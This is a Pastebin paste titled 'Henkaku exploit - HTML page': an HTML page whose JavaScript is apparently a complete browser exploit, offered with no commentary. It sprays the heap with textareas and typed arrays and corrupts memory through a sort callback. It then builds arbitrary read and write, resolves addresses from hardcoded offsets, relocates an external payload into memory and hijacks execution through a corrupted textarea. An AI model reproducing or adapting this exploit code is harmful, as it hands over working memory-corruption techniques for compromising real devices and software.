SHARE
TWEET

Henkaku exploit - HTML page

a guest Jul 29th, 2016 202 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script src='payload.js'></script>
  2.  
  3. <script>
  4. var r, a, e, t, n, o, l, i, f, v, s, c;
  5. var u, y, w, p, d, g, h, k, b;
  6. var A, U;
  7.  
  8. var m = 64 + payload[16/4];
  9. m /= 4;
  10.  
  11. var F = null;
  12.  
  13. function D(r,a)
  14. {
  15.   if (!F)
  16.     F = new DataView(new ArrayBuffer(16));
  17.  
  18.   F.setUint32(0,a);
  19.   F.setUint32(4,r);
  20.   return F.getFloat64(0)
  21. }
  22.  
  23. function E(r)
  24. {
  25.    if (!F)
  26.      F = new DataView(new ArrayBuffer(16));
  27.    
  28.    F.setFloat64(0,r);
  29.    return {low:F.getUint32(4),hi:F.getUint32(0)}
  30. }
  31.  
  32. var x = 0;
  33. var L = 0;
  34. var B = new Uint32Array(1024);
  35.  
  36. function S(r)
  37. {
  38.   x = K[r/4];
  39.   L = K[r/4+1];
  40.   return((x & 4095 | (x & 983040) >> 4) & 65535 | ((L & 4095 | (L & 983040) >> 4) & 65535) << 16) >>> 0
  41. }
  42.  
  43. r = 16384;
  44. a = new Array(r);
  45. e = new Array(r);
  46. t = 4932;
  47. n = 1717920867;
  48. o = 1431655765;
  49.  
  50. for (var V = 0; V < e.length; ++V)
  51. {
  52.   e[V] = new Uint32Array(t/4);
  53.   var H = document.createElement("textarea");
  54.   H.rows = n;
  55.   a[V] = H;
  56. }
  57.  
  58. for (var V = 0; V < 1024; ++V)
  59. {
  60.   var H = document.createElement("textarea");
  61.   H.rows = n;
  62.   a.push(H);
  63. }
  64.  
  65. var N = 12288;
  66. var W = Array.prototype.constructor.apply(null,new Array(N));
  67. var j = 2048;
  68. var q = new Array(j);
  69. var z = {};
  70. var C = new Array(256);
  71.  
  72. z.toString = function()
  73.              {
  74.                W.push(12345);
  75.  
  76.                for (var r = 0; r < C.length; ++r)
  77.                {
  78.                  var a = Array.prototype.constructor.apply(null,q);
  79.                  a[0] = 0;
  80.                  a[1] = 1;
  81.                  a[2] = 2;
  82.                  C[r] = a;
  83.                } return""
  84.              };
  85.  
  86. W[0] = z;
  87. var G = D(2147483648,2147483648);
  88.  
  89. for (var V = 1; V < 8192; ++V)
  90.   W[V] = G;
  91.  
  92. W.sort();
  93. contents = "";
  94. cur = 0;
  95.  
  96. z.toString = function(){};
  97.  
  98. var I = null;
  99.  
  100. for (var V = 0; V < C.length; ++V)
  101. {
  102.   if(C[V].length != j)
  103.   {
  104.     I = C[V];
  105.     break;
  106.   }
  107. }
  108.  
  109. var J = 536870912 - 69632;
  110.  
  111. for(; ; J--)
  112. {
  113.   if(I[J] != 0)
  114.   {
  115.     F.setFloat64(0,I[J]);
  116.     if(F.getUint32(0) == t/4)
  117.     {
  118.       F.setUint32(0,4026531808);
  119.       I[J] = F.getFloat64(0);
  120.       F.setFloat64(0, I[J-2]);
  121.       v = F.getUint32(4);
  122.       F.setUint32(4,0);
  123.       F.setUint32(0,2147483648);
  124.       I[J-2] = F.getFloat64(0);
  125.       break;
  126.     }
  127.   }
  128. }
  129.  
  130. l = null;
  131.  
  132. for (var V = 0; V < e.length; ++V)
  133. {
  134.   if(e[V].byteLength != t)
  135.   {
  136.     l = e[V];
  137.     break;
  138.   }
  139. }
  140.  
  141. if (!l)
  142. {
  143.   alert("failed");
  144.   while(1){};
  145. }
  146.  
  147. var K = l;
  148. var M = v;
  149. f = v;
  150.  
  151. for (var O = f/4; O < f/4+16384; ++O)
  152. {
  153.   if (K[O] == n)
  154.   {
  155.     K[O] = o;
  156.     s = O * 4;
  157.     i = true;
  158.     break;
  159.   }
  160. }
  161.  
  162. if (!i)
  163. {
  164.   alert("Did not find Element signature");
  165.   while(1){};
  166. }
  167.  
  168. var P = false;
  169. var Q;
  170.  
  171. for (var V = 0; V < a.length; ++V)
  172. {
  173.   if(a[V].rows == o)
  174.   {
  175.     Q = a[V];
  176.     P = true;
  177.     break;
  178.   }
  179. }
  180.  
  181. if (!P)
  182. {
  183.   alert("Did not find corrupted textarea");
  184.   while(1){};
  185. }
  186.  
  187. var R = s - 112;
  188. var T = K[R/4];
  189. u = T - 11253340;
  190. y = S(u + 8779012) - 64073;
  191. w = S(u + 8778852) - 36913;
  192. p = S(u + 8770276) - 142693;
  193. d = S(p + 2910348) - 2533;
  194. g = S(d + 15300) - 56365;
  195. h = S(u + 8778772) - 9197;
  196. k = S(g + 101364) - 3417;
  197. b = S(k + 39608) - 18893;
  198.  
  199. for (var V = 0; V < 64; V++)
  200.   K[M/4+V] = K[T/4+V];
  201.  
  202. K[R/4] = M;
  203.  
  204. for (var V = 0; V < 48; ++V)
  205.   B[V] = K[R/4+V];
  206.  
  207. K[M/4+78] = y + 82032|1;
  208.  
  209. Q.scrollLeft = 0;
  210. c = (K[R/4+8] ^ (K[R/4+9] ^ u + 3242281) >>> 0) >>> 0;
  211. c -= 981016;
  212.  
  213. for (var V = 0; V < 48; ++V)
  214.   K[R/4+V] = B[V];
  215.  
  216. A = c + 64;
  217. U = c + 65536;
  218. O = c/4;
  219.  
  220. for (var V = 0; V < payload.length; ++V,++O)
  221. {
  222.   if (V == m)
  223.     O = U/4;
  224.  
  225.   switch(relocs[V])
  226.   {
  227.     case 0:
  228.       K[O] = payload[V];
  229.       break;
  230.     case 1:
  231.       K[O] = payload[V] + A;
  232.       break;
  233.     case 2:
  234.       K[O] = payload[V] + u;
  235.       break;
  236.     case 3:
  237.       K[O] = payload[V] + w;
  238.       break;
  239.     case 4:
  240.       K[O] = payload[V] + y;
  241.       break;
  242.     case 5:
  243.       K[O] = payload[V] + g;
  244.       break;
  245.     case 6:
  246.       K[O] = payload[V] + h;
  247.       break;
  248.     case 7:
  249.       K[O] = payload[V] + b;
  250.       break;
  251.     default:
  252.       alert("wtf?");
  253.       alert(V + " " + relocs[V])
  254.    }
  255. }
  256.  
  257. K[M/4+78] = u + 21704;
  258.  
  259. var X = M + 256;
  260.  
  261. K[X/4+5] = U;
  262. K[X/4+6] = u + 787594|1;
  263.  
  264. alert("Welcome to HENkaku!");
  265.  
  266. Q.scrollLeft = X;
  267.  
  268. alert("that's it");
  269. </script>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top